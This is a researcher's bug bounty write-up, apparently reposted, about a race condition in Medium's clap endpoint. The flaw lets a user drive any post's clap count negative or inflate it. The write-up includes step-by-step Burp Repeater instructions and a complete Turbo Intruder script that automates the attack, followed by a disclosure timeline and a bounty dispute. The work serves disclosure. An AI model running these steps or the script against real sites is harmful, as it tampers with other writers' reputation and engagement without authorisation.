How I hacked medium and they didn’t pay me

1 month ago 33
BOOK THIS SPACE FOR AD
ARTICLE AD

YouGotItComing

TL;DR : I found a bug which allows negativizing or increasing or bricking the claps count of any article/comment, which has indirect effect on writers revenue, and direct effect on their reputation and since they would then miss out on paid users claps (which are worth money) making the effect rather direct.

Sections:

● What are claps and why are they important

● Impact?

● Why the bug happens

● Steps to reproduce

● Proof of concept video

● Automating the exploit

● Timeline & The Title

Claps are likes, upvotes, hearts… you name it.

You can clap up to 50 times per a single post/comment and you can clap for as many posts as you want, a quote to clear it more:

“Partner Program writers are paid every month based on how members engage with stories. Some factors include reading time (how long members spend reading a story) and applause (how much members clap). Each member’s $5 per month subscription is distributed proportionally to the stories that the individual member engaged with that month.”

a response posted by Medium Founder, Ev Williams:

“If I give 10 claps to one (story/article) and one clap to the rest,that story will get 10x what the rest get (from me).”

Essentially, Medium’s Partner Program payments directly depend on claps. The more claps you receive, the more money you will make.

Claps from non-paying users do not factor into earnings, at least not directly.

However, even if your stories only received claps from non-paying readers, it may subsequently gain traction in Medium’s distribution algorithm, causing paying members to clap for the same article, weeks or months later.

Some may downplay the bug but bear with me, in my opinion the bug registers as at least significant” severity. Imagine if we are on Facebook, Instagram, X, etc. and I could zero out the (likes/reactions/hearts/upvote) of every single post/comment of any person/page that I don’t like, whenever I want. Further, imagine not only zeroing the current counts but future counts, indefinitely. Any future likes of that user won’t show up. This could ruin the legitimacy and reputation of well received writers, breaking the indicator of posts quality. It could even indirectly affect ranking/promotion since users might feel less inclined to vote/click, etc. on zero-clapped articles.

The latter would also apply and be of importance even in cases where there are no paid likes, as is the case with Facebook and other sites.
It would be breaking one of the site’s core functionalities on command.

Why do I view it as “significant” impact?

1. Its effects can be seen on the whole site (Site-Wide).

2. Has a financial Impact (semi-direct) and affects a core functionality which in turn messes the site’s reliability and credibility. For an article based site like Medium this is really important.

3. Such a bug could do significant damage on the site’s past and future.

So far, we’ve been discussing only one part of the bug’s impact, the other is that you can increase/manipulate the claps of any article/comment to whatever you like. The exploit for this is not that stable (might take a few tries to work) and needs some work, besides, in my opinion, the first part has more impact, so I focused on it more.

Let’s now dive into the bug explanation and why the exploit is possible, then we move to the proof of concept and the steps to reproduce

The Cause is “Race condition”:

Race conditions are a common type of vulnerability closely related to business logic flaws. They occur when websites process requests concurrently without adequate safeguards.
Here Is diagram from Portswigger which makes it really simple to understand:

Some pseudo code of what’s happening behind the Curtain on the server side:

function likePost(postId, userId, ClapscountToAdd) {
//checking whether the user's current claps count is greater than or equal to
//the specified threshold
if (userCurrentClapscount[userId] >= ClapscountToAdd) {
//Increment post Clapscount and decrease user Current Clapscount by the specified
//amount
userCurrentClapscount[userId] -= ClapscountToAdd;
postClapscount[postId] += ClapscountToAdd;
return `Successfully liked ${ClapscountToAdd}`;
} else {
return "User has insufficient Clapscount";}}

Now let’s say that the server is processing our request and is on the yellow line but the catch is that we have sent multiple requests, in a single tcp packet, in a single connection, so the server is on the same line of code, as it’s processing both of our requests simultaneously, which means if the claps count to add is 50 (which is the max value for each user), the current clap count would 50–50 = 0 and the same for subsequent requests with the new claps value we have sent; if they were 5 requests then the server will decrease it by 50 four more times before proceeding to add the now negative claps count to the post making the added claps count -200 total claps (the numbers doesn’t always correspond sometimes 10*50 will add -700..etc) and when another user tries to clap they will be adding to the negative number so it will require 200 more claps for the post’s claps count to reach its original value (0) again.

And the same goes for the second part of the bug, but it’s slightly more complicated, as there is another delay before adding the clapped amount to the post and if we send -1 claps to remove previous claps, we notice that the server responds with the post total still not updated.
I hope this diagram from Portswigger makes it clear:

To get a clear understanding of the bug, I recommend watching DEFCON31’s video about race-conditions or Portswigger’s Article.

I hadn’t watched it before finding the bug. Now, enough with The talk.

*burp v2023.9.1 or higher is needed

The steps for negativizing out the claps number:

1. Click clap

2. Intercept the request

3. Send it to repeater and drop it from proxy

4. Change the claps num to 50

5. Duplicate the request 19 times by clicking on the request then ctrl + r to send the requests to the repeater

7. Add the requests to a group then choose “send requests in parallel single attack”

8. Click send

And here is the POC video:

The steps for increasing the claps number (manually):

1. Click clap

2. Intercept the request

3. Send it to repeater and drop it from proxy

4. Change the claps num to 50 and click send

5. Change the num again to -1 and click send

6. Change the num to 50 and duplicate the request desired amount of times by clicking on the request then ctrl + r… 6 or however many times u wish (I found that 6 is stable for me),

Each request will add 50 clap

7. Add the requests to a group then choose “send requests in parallel single attack”

8. Click send

● Keep in mind that you may need to do the send -1 then the 6 requests in a group steps a couple of times to get it to work. You can do the -1 one by changing the “send” button to “current tab” only, it can take from 1 to 15 times to work.

And here is the POC video:

The steps for increasing the claps number (automatically):

Make sure you’ve got the turbo intruder extension installed and enabled

● Intercept the target request

● Send it to turbo intruder using right click, then “Extensions”, then “turbo intruder” and don’t forget to drop the request afterwards from the proxy tab

● In the new turbo intruder window set “numClaps” value to %s

● Paste this code below into turbo intruder

● Change the numbers as you see fit

● Send and wait for the attack to be done

(the attack takes from about 1 second to 2 minutes depending on the requests number, try it with two the first time)

For adding a negative number instead of doing the first part of the bug manually just reverse the “>=” and the “100” and change the number in the for loop to a higher one; the script has room for optimization.

The POC video:

(I know that the code isn’t the best, but turbo’s documentation could use some work too)

The Code :

import time

clapsnum=1111
gatecount=0

def handleResponse(req, interesting):
if clapsnum == 0:
regex_pattern = r'"clapCount":(-?\d+)'
matches = re.findall(regex_pattern, req.response)
if len(matches) >= 2:
TargetClaps = matches[0]
TargetClaps = int(TargetClaps)
if TargetClaps >= 100:
print("added {} claps".format(TargetClaps))
print("Script took {} seconds to finish.".format(int(time.time() - start_time)))
StopTheEngines()
else:
print(TargetClaps)
loop()

table.add(req)

def group0():
global engine0
engine0 = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
return engine0

def racereqs():
global gatecount
for i in range(4):
clapsnum = 50
engine0.queue(target.req, clapsnum, gate="race{}".format(gatecount))

engine0.openGate("race{}".format(gatecount))
gatecount += 1

def queueRequests(target, wordlists):
global engine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False
)
return engine

def group1():
global engine1
engine1 = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False
)
return engine1

group0()
group1()

def checknum():
global clapsnum
clapsnum=0
engine1.queue(target.req,clapsnum)
def reset():
global clapsnum
clapsnum=-1
engine1.queue(target.req,clapsnum)

def loop():
reset()
racereqs()
time.sleep(3)
checknum()

def StopTheEngines():
engine.complete()
engine0.complete()
engine1.complete()

start_time = time.time()
reset()
time.sleep(3)
racereqs()
time.sleep(1)
checknum()

12/18/2023 — Found the bug.

12/19/2023 — Reported the bug and made a social media post as I noticed that it says the program is paused.

12/20/2023 — They saw the post and replied to my mail asking if I publicly disclosed or not, to which I responded in the negative and they proceeded to say that they will revisit in 2024 because of the holidays.

12/26/2023 — I mailed a better approach to reproduce the bug and an automated script.

(no response)

1/21/2024 — Mailed them asking for any update/follow up.

(no response)

3/12/2024 — Told them that the 90-day public disclosure period is almost up (one week).

To my surprise, as soon as I mentioned the 90-day they replied right away!

They stated some meh excuses about not monitoring the inbox and they will be taking a look now.

3/18/2024 — Sent them a heads up for the upcoming deadline.

3/19/2024 — They were able to reproduce the bug, stating that it doesn’t affect writers’ earnings, only the frontend count. They also sent their full rewards list, asking if 250$ sounded good as a reward.

I replied:

The oldest link from webarchive for their rewards bounty range (2018), there was a one from 2016 but it does no longer work.

3/21/2024 — I asked for a fix/publish date.

(no response)

3/25/2024 — Asked for updates again and told them I would be publishing in x days if I got no response soon, and that if they deem 250$ enough then it’s fine.

(no response)

4/5/2024 — Since I have waited for more than the full responsible disclosure period, I published.

So as you see, after all that time and all that effort, as soon as the pay was mentioned and even the fact that I waited the full disclosure period and more, they simply behaved like it didn’t matter and didn’t care. They’ve stopped responding, on top of low balling me.

I don’t even think they worded it correctly when they said it’s frontend only, maybe they just meant it’s stored separately in the DB (since changing the claps is persistent).
And since they don’t care here we are at this article : /

This write-up was proofread by my friend Alex

(if there are any Grammar mistakes it’s totally on her /s )

Read Entire Article